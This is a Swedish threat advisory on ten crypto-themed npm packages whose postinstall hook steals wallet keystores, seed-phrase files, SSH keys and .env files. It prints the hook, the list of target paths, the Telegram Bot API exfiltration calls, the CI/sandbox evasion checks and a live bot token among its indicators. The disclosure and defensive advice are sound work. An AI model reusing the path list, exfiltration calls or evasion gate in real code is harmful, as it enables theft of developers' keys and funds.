SeedSweep: Tio skadliga npm-kryptopaket

SeedSweep: Tio kryptotema npm-paket som bara körs när ingen tittar

TL; DR

Den 9 juni 2026 ett enda npm-utgivarkonto, aicrypto-xzggg, skickad tio paket med krypto- och Web3-inspirerade namn — farming-tools-12, swap-sdk-87, defi-tools-39, wallet-sdk-9, och sex till.

Varje paket kör samma nyttolast från en postinstall hook. Vid installationen kontrollerar den om den körs inuti CI eller en sandlåda – om inte, läser den plånboksnyckellager, seedphrase-filer, SSH-nycklar och .env filer från sex blockkedjeekosystem och överför dem till en Telegram-bot.

Den enda indikatorn en försvarare kan leta efter omedelbart är Telegram-bot-ID:t. 8227918239.

Stränghet: kritisk — direkt stöld av signeringsnycklar och återställningsfraser från utvecklararbetsstationer.

Attacken: Hur den fungerar

Paketen marknadsför sig själva som verktyg för blockkedjeutveckling. package.json är minimal och pekar installationslivscykeln mot ett skript:

{   "name": "farming-tools-12",   "main": "src/index.js",   "scripts": { "postinstall": "node scripts/postinstall.js" },   "keywords": ["web3", "crypto", "blockchain", "solana", "ethereum"],   "author": "Alex Smith",   "license": "MIT" }

scripts/postinstall.js är en enlinig shim som lastar den verkliga nyttolasten: kräver(“../src/index.js”). Därför att efterinstallation körs automatiskt under npm installera, ingen kodiport av utvecklaren krävs — det räcker med att placera paketet i ett beroendeträd för att köra det.

Dödskedjan inuti src / index.js är fyra steg:

  1. Miljökontroll. En guard-funktion avgör om värden ser ut som en build-agent eller analys-sandlåda.
  2. Dröjsmål. Verkställandet skjuts upp efter en setTimeout på ungefär 7.4 sekunder.
  3. Samling. En fast lista med sökvägar till plånböcker, nycklar och hemliga filer genomsöks; befintliga filer köas.
  4. Exfiltrering. Köade filer skickas till en Telegram-bot, föregångna av ett sammanfattningsmeddelande.

Samlingsmållistan omfattar sex kedjor plus generiska utvecklarhemligheter. Trimmat:

~/.config/solana/id.json        ~/.ethereum/keystore ~/.solana/keypair.json          ~/.bitcoin/wallet.dat ~/.tron_wallet/keystore         ~/.sui/sui_config/sui.keystore ~/.aptos/key.txt                ~/.ssh/id_rsa , ~/.ssh/id_ed25519 ./wallet.json  ./keystore.json  ./mnemonic.txt  ./seed.txt ./seedphrase.txt  ./recovery.txt  ./private.key  ./.env  ./.env.local

Tjugoen sökvägar totalt. Katalogposter som ~/.ethereum/nyckelbutik expanderas och varje fil inuti köas. Exfiltreringen använder Telegram Bot API direkt — en skicka meddelande samtal med en värd- och filsammanfattning, sedan en skickaDokument flerdelad uppladdning för varje fil:

text

POST https://api.telegram.org/bot<token>/sendMessage POST https://api.telegram.org/bot<token>/sendDocument   (one per file)

Sammanfattningsmeddelandet som koden sammanställer börjar med den litterala strängen KRYPTOSTJÄLARE, följt av värdnamn, användarnamn, ursprungligt paketnamn, filantal och tidsstämpel.

Vad är nytt här

Det som skiljer skillnaden är inte stöldmekanismen — Telegram-baserad exfil från npm efterinstallation hooks är vältrampad. Det är den avrättningsgrind. Innan nyttolasten gör någonting anropar den en funktion som returnerar sant när värden liknar en CI-löpare eller sandlåda, och returnerar tidigt när den gör det:

text

isTestEnvironment() is true when ANY of:   - env CI == "true"  OR  GITHUB_ACTIONS == "true"  OR  JENKINS_HOME set   - env NODE_ENV in {test, development}   - username/USER contains: runner, sandbox, test, docker,     jenkins, gitlab, travis, circleci   - hostname contains: sandbox, test, ci   - hostname matches /^[a-f0-9]{12}$/   (a container-id shape)

Container-id-regexen är den anmärkningsvärda klausulen: ett värdnamn med 12 hexadecimaltecken är standardformen som Docker tilldelar en behållare, så nyttolasten behandlar "mitt värdnamn ser ut som en Docker-container" som en anledning att förbli vilande. Kombinerat med sju sekunders fördröjning gynnar designen att köra på en utvecklares riktiga arbetsstation och förbli tyst överallt som ser ut som automatiserad analys. Den grinden är det som undertryckte dynamiska analyssignaler och behöll det statiska exfil-flödet som det primära beviset för fällande domar.

tidslinje

Datum (UTC) Event
2026-06-09 ~02:48 De första paketen i klustret flaggades vid publicering (crypto-utils-7, ethereum-kit-1, web3-tools-9, solana-core-4, blockchain-helper-0)
2026-06-09 ~03:21–03:25 Medlemmar med högre version flaggade (ethereum-kit-9 vid 1.25.36, wallet-sdk-9 kl. 3.7.73)
2026-06-09 ~03:58–03:59 Slutgiltiga medlemmar flaggade (defi-tools-39 vid 4.26.29, swap-sdk-87 vid 4.63.78, farming-tools-12 kl. 4.68.54)
2026-06-09 Alla tio klassificerades som skadliga och rapporterades för borttagning av register

Alla tio dök upp inom ungefär sjuttio minuter, vilket motsvarar en enda manusbaserad publiceringskörning från ett konto.

Indikatorer för kompromiss

Nätverks- och beteendeindikatorer (värd defanged):

Indikator Värderar
Exfil-slutpunkt api[.]telegram[.]org (Telegram Bot API)
Telegram-bot-ID 8227918239
Bot-token 8227918239:AAGEMDrBZluDsBBYPxfSyMuv2l3FY8cZCcs
Telegram chatt-ID 6433587894
Montera kroken postinstallscripts/postinstall.jssrc/index.js
Markörsträng CRYPTO STEALER i det sammanställda sammanfattningsmeddelandet
Publisher aicrypto-xzggg (ange e-postadress vipsyria88@gmail[.]com, overifierad)

Paket och versioner, var och en med SHA-256 för sin src / index.js nyttolasten (nyttolastena är funktionellt identiska och skiljer sig bara åt i den inbäddade paketnamnsetiketten, så varje hash är distinkt):

HTML
Paket Version SHA-256 för src/index.js
farming-tools-12 4.68.54 b50403be9dd9f94f7af4795c1e346c9d27d5a18041a3044773238c4cdc1f4de4
swap-sdk-87 4.63.78 9d96f8759e8d593b6dd2338aceb08cdb12e9a5613700953e04e66cc8c2e3087c
defi-tools-39 4.26.29 ddc5011b6173a57bc7f29b010ed6b71551dee253b5d05d3efc78d076f5351fee
wallet-sdk-9 3.7.73 ef4459281c64f1fe8923d703d416f04080ff1a2b7b385366f46d7cdb25731502
ethereum-kit-9 1.25.36 c43afad949027040c6414d26fa4eea6e2671d2572f9df7fd595e12baf204854f
ethereum-kit-1 1.0.0 1147f5227f3b13f65a438b31d87766c33affc65b7734a8658c95e0a4be1d2381
solana-core-4 1.0.0 93c65f971137d2753b5c57b685471bf5319bdc357fa863de56cbed8447cf576d
web3-tools-9 1.0.0 db97070bd349503f5703404493fc925448c2308c86708b33786309ebe6446a3d
crypto-utils-7 1.0.0 59f2fb112d6f17102fb4a70c8d12bfcbc93e9f0d170fe4451bad1aa4d5d74c92
blockchain-helper-0 1.0.0 053eb318980439d76eecac9847ae31ecf59654cf75ddcfebbdd9ce64bb98a0db

En enkel sökfråga: sök i installationsloggar och låsfiler efter något av de tio namnen, och sök i utgående trafik efter anslutningar till Telegram Bot API från bygg- eller utvecklarvärdar som inte använder det på annat sätt.

Attribuering och observerat beteende

Alla tio paket publicerades av ett konto, aicrypto-xzggg, vars angivna e-postadress är vipsyria88@gmail[.]comVarken e-postadressen eller källkontrolllänken är verifierade i registermetadata, och kontot har ett starkt negativt rykte. Vi har inte bekräftat vem som hanterar kontot.

Två detaljer är värda att skilja åt från alla identitetsanspråk. För det första, package.json Författaren fältläsningar Alex Smith på varje paket, medan det faktiska publiceringskontot är aicrypto-xzggg; författarfältet är självdeklarerad metadata och fastställer inte författarskap. För det andra varierar versionsnumren kraftigt – vissa medlemmar sitter på 1.0.0, andra på 4.68.54 — vilket är förenligt med att återanvända en enda nyttolast över nyutvecklade paketnamn snarare än att behålla verkliga utgivningshistoriker.

Beteendet är enhetligt över hela klustret: samma målsökvägslista, samma Telegram-bot-ID och chatt-ID, samma miljögrind, samma KRYPTOSTJÄLARE markör. Den enhetligheten är den starkaste länken mellan paketen. Det är en signal från samma operatör, inte en identitet.

Påverkan, trender och vägledning för försvarare

Exponeringen är konkret. En utvecklare som installerar något av dessa paket på en arbetsstation som innehåller en programvaruplånbok, en seedphrase-fil eller en SSH-nyckel får dessa filer lästa och överförda från värden inom några sekunder. Återställningsfraser och signeringsnycklar upphör inte att gälla på samma sätt som en sessionstoken; när en ... mnemonic.txt eller en Solana id.json lämnar maskinen, är de medel den kontrollerar i fara tills de flyttas. Samma körning fångar också upp .env filer, som rutinmässigt innehåller API-nycklar och databasuppgifter.

Två trender ligger bakom detta kluster. Den första är den fortsatta användningen av krypto- och Web3-tema namn för att uppvakta en specifik publik – utvecklare som förvarar plånböcker och nycklar på samma maskin som de installerar beroenden på. Den andra är den mognadsmässiga utvecklingen av sandlådeundandragande i nyttolaster vid installation. En grind som kontrollerar CI-miljövariabler, runner-användarnamn och en Docker-container-ID-värdnamnsform är en avsiktlig ansträngning att bete sig annorlunda under analys än på en riktig arbetsstation, och den höjer ribban för rent dynamisk detektering.

För försvarare:

Installera med skript inaktiverade som standard. npm-installation –ignore-scripts, eller ställ in ignorera-skript=true in .npmrc, förhindrar efterinstallation körning; aktivera skript endast för de specifika beroenden som verkligen behöver dem.

Håll plånböcker och signeringsnycklar borta från bygg- och utvecklingsmaskiner. Använd en hårdvaruplånbok eller en dedikerad, beroendefri signeringsvärd.

Behandla .env, nyckelbutiker och seedphrase-filer som kronjuveler. De bör aldrig ligga i en katalog som också är en npm installera arbetande träd.

Leta efter utgående anslutningar till Telegram Bot API från CI och utvecklarvärdar. De flesta byggmiljöer anropar det aldrig; en som plötsligt gör det, direkt efter en installation, är värd att undersöka.

Fäst och granska beroenden. Ett helt nytt paket med ett generiskt kryptonamn, en efterinstallation hook, och ingen repository-länk förtjänar en titt innan den går in i en låsfil.

Klausulen om container-ID-undvikande är också en påminnelse för analytiker: en nyttolast vid installationstid som förblir vilande i en sandlåda är inte godartad, den är selektiv. Statisk granskning av installationssökvägen är fortfarande det tillförlitliga sättet att se vad dynamisk exekvering kan vägra visa.

Referensprojekt

npm installationsdokumentation — livscykelskript och --ignorera-skript— referens för att inaktivera automatisk installation hooks. 

sca-tools-programvara-verktyg-för-kompositionsanalys
Prioritera, åtgärda och säkra dina programvarurisker
Skaffa ditt gratiskonto.
Inga kreditkort krävs.

Säkra din programvaruutveckling och leverans

med Xygeni-produktsviten